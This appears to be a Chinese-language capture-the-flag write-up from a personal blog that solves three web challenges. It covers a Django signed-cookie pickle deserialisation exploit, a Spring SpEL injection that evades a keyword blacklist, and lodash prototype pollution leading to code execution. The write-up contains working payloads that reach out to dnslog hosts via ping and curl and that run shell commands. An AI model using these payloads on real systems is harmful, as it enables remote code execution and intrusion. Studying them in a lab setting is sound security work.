from django.core import signingimport pickleimport osimport builtins,ioimport base64import datetimeimport jsonimport reimport timeimport zlibos.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')data = b'''cbuiltinsgetattr(cbuiltinsdictS'get'tR(cbuiltinsglobals(tRS'builtins'tRp1cbuiltinsgetattr(g1S'eval'tR(S'__import__("os").system("ping jv9rtd.dnslog.cn")'tR.'''def b64_encode(s):    return base64.urlsafe_b64encode(s).strip(b'=')def pickle_exp(SECRET_KEY):    global data    is_compressed = False    compress = False    if compress:        # Avoid zlib dependency unless compress is being used        compressed = zlib.compress(data)        if len(compressed) < (len(data) - 1):            data = compressed            is_compressed = True    base64d = b64_encode(data).decode()    if is_compressed:        base64d = '.' + base64d    SECRET_KEY = SECRET_KEY    # 根据SECRET_KEY进行Cookie的制造    session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)    print(session)if __name__ == '__main__':    SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'    pickle_exp(SECRET_KEY)

替换掉登陆时产生的sessionid即可。

javacon

给了个jar包,jdgui反编译得源码。

项目结构如下:

spring写的web,看到application.xml:

spring:  thymeleaf:    encoding: UTF-8    cache: false    mode: HTMLkeywords:  blacklist:    - java.+lang    - Runtime    - exec.*\(user:  username: admin  password: admin  rememberMeKey: c0dehack1nghere1

这里有一个黑名单,然后有个rememberMe,除此之外也没有其他有用的信息了。

首先是mian处的login路由:

@PostMapping({"/login"})public String login(@RequestParam(value = "username", required = true) String username, @RequestParam(value = "password", required = true) String password, @RequestParam(value = "remember-me", required = false) String isRemember, HttpSession session, HttpServletResponse response) { if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {   session.setAttribute("username", username);   if (isRemember != null && !isRemember.equals("")) {     Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());     c.setMaxAge(2592000);     response.addCookie(c);   }   return "redirect:/"; } return "redirect:/login-error";}

这里做了一个检查,如果勾选了remember-me,则会对cookie进行加密,然后重定向到/hello,其中使用了admin:

@GetMappingpublic String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) { if (rememberMeValue != null && !rememberMeValue.equals("")) {   String str = this.userConfig.decryptRememberMe(rememberMeValue);   if (str != null) {     session.setAttribute("username", str);   } } Object username = session.getAttribute("username"); if (username == null || username.toString().equals("")) {   return "redirect:/login"; } model.addAttribute("name", getAdvanceValue(username.toString())); return "hello";}

admin中会对cookie中的remember-me进行decryptRememberMe,那么比较敏感的一点就是cookie的可控,在最后调用了getAdvanceValue,查看一下这个函数:

private String getAdvanceValue(String val) { for (String keyword : this.keyworkProperties.getBlacklist()) {   Matcher matcher = Pattern.compile(keyword, 34).matcher(val);   if (matcher.find()) {     throw new HttpClientErrorException(HttpStatus.FORBIDDEN);   } } TemplateParserContext templateParserContext = new TemplateParserContext(); Expression exp = this.parser.parseExpression(val, (ParserContext)templateParserContext); SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue((EvaluationContext)evaluationContext).toString();}

通过Pattern.compile正则匹配黑名单后,如果匹配不到则会调用parser也就是SpelExpressionParser解析SpEL表达式,那么有一个点就是可能存在表达式注入的问题。(即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。)

spel表达式与如ognl表达式注入相似,那么在java中执行任意命令时使用的通常是一个runtime,如:

Runtime.getRuntime().exec("open -a Calculator")

然而这样做无法绕过黑名单,因此可以选择采用反射,在调用黑名单中的字符串时使用字符串拼接的方式绕过:

Class clazz = Class.forName("java.lang.Runtime");Object rt = clazz.getMethod("getRuntime").invoke(clazz);Method ex = clazz.getMethod("exec", String.class);ex.invoke(rt,"open -a Calculator")

那么通常都会将代码进行压缩:

Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),"open -a Calculator")

那么还需要干的一件事就是绕黑名单:

  • java.+lang
  • Runtime
  • exec.*(

前面说了,因为反射的原因,可以将黑名单中的字符串采用拼接字符串的方式来绕过,因此就有:

Class.forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec",String.class).invoke(Class.forName("java.l"+"ang.Run"+"time").getMethod("getRu"+"ntime").invoke(Class.forName("java.l"+"ang.Run"+"time")),"open -a Calculator")

在spel表达式中,通常采用一个T()操作符,其中T()的结果将会是一个Class类,如T(java.lang.Runtime)会得到class java.lang.Runtime,且还有一个#操作符可以用于标记对象,spel表达式就需要放入其中,如#{...}

将其改造为spel表达式的形式:

#{T(Class).forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec",T(String)).invoke(T(Class).forName("java.l"+"ang.Run"+"time").getMethod("getRu"+"ntime").invoke(T(Class).forName("java.l"+"ang.Run"+"time")),"open -a Calculator")}

不过exec有个毛病就是稍复杂点的命令就无法执行,这点我在调了大半天后查看其他人的wp时才发现,可以选择new String[]{"/bin/bash\","-c","xxxxx"}来执行命令。

因此有(转义引号):

#{T(Class).forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec",T(String[])).invoke(T(Class).forName("java.l"+"ang.Run"+"time").getMethod("getRu"+"ntime").invoke(T(Class).forName("java.l"+"ang.Run"+"time")),new String[]{"/bin/bash","-c","curl acmliy.dnslog.cn"})}

前面分析过其remember-me是经过加密,代码有了,很显然直接调用加密即可。

System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef",str));

dnslog收到记录,至此完毕,接下来就是getflag的操作就不多说。

thejs

又是一道js题:

const fs = require('fs')const express = require('express')const bodyParser = require('body-parser')const lodash = require('lodash')const session = require('express-session')const randomize = require('randomatic')const app = express()app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())app.use('/static', express.static('static'))app.use(session({    name: 'thejs.session',    secret: randomize('aA0', 16),    resave: false,    saveUninitialized: false}))app.engine('ejs', function (filePath, options, callback) { // define the template engine    fs.readFile(filePath, (err, content) => {        if (err) return callback(new Error(err))        let compiled = lodash.template(content)        let rendered = compiled({...options})        return callback(null, rendered)    })})app.set('views', './views')app.set('view engine', 'ejs')app.all('/', (req, res) => {    let data = req.session.data || {language: [], category: []}    if (req.method == 'POST') {        data = lodash.merge(data, req.body)        req.session.data = data    }        res.render('index', {        language: data.language,         category: data.category    })})app.listen(3000, () => console.log(`Example app listening on port 3000!`))

原型链污染,关键点在:

data = lodash.merge(data, req.body)

使用了lodash.merge操作,其存在原型链污染的可能:https://hackerone.com/reports/310443

var _= require('lodash');var malicious_payload = '{"__proto__":{"oops":"It works !"}}';var a = {};console.log("Before : " + a.oops);_.merge({}, JSON.parse(malicious_payload));console.log("After : " + a.oops);//undefinded//It works !

现在能够污染了,对应到题目中可以污染字典,现在需要寻找一个类似于上面的oops变量,在其被污染前是未被定义的,而后面会被调用到。

debug能够发现compiled是将content实行模板化,然后rendered是对模板引入变量,并且在每次请求都会重新生成模板,因此可以判断模板是动态生成的,

在template中可以看到options的定义处有:

这一个sourceURL使用了三目运算,据表达式的描述该值是可以不存在,debug到这里,监控一下变量可以看到:

options.sourceURL不存在该值,则sourceURL赋值为('lodash.templateSources[' + (++templateCounter) + ']'),那么污染字典的sourceURL即可控制该值,目前该值为:

'//# sourceURL=lodash.templateSources[1]\n'

继续跟一下看这个值到这里被调用到:

发现sourceURL被拼接进入到Function中,而Function可以用于执行代码,如:

Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();

因此我们的payload可以为:

{"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.process.mainModule.constructor._load('child_process').execSync('cat /flag_thepr0t0js').toString()}\r\n"}}

使用delete可以删除原型链中的sourceURL,如果在公共环境下可以避免被别人上车。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号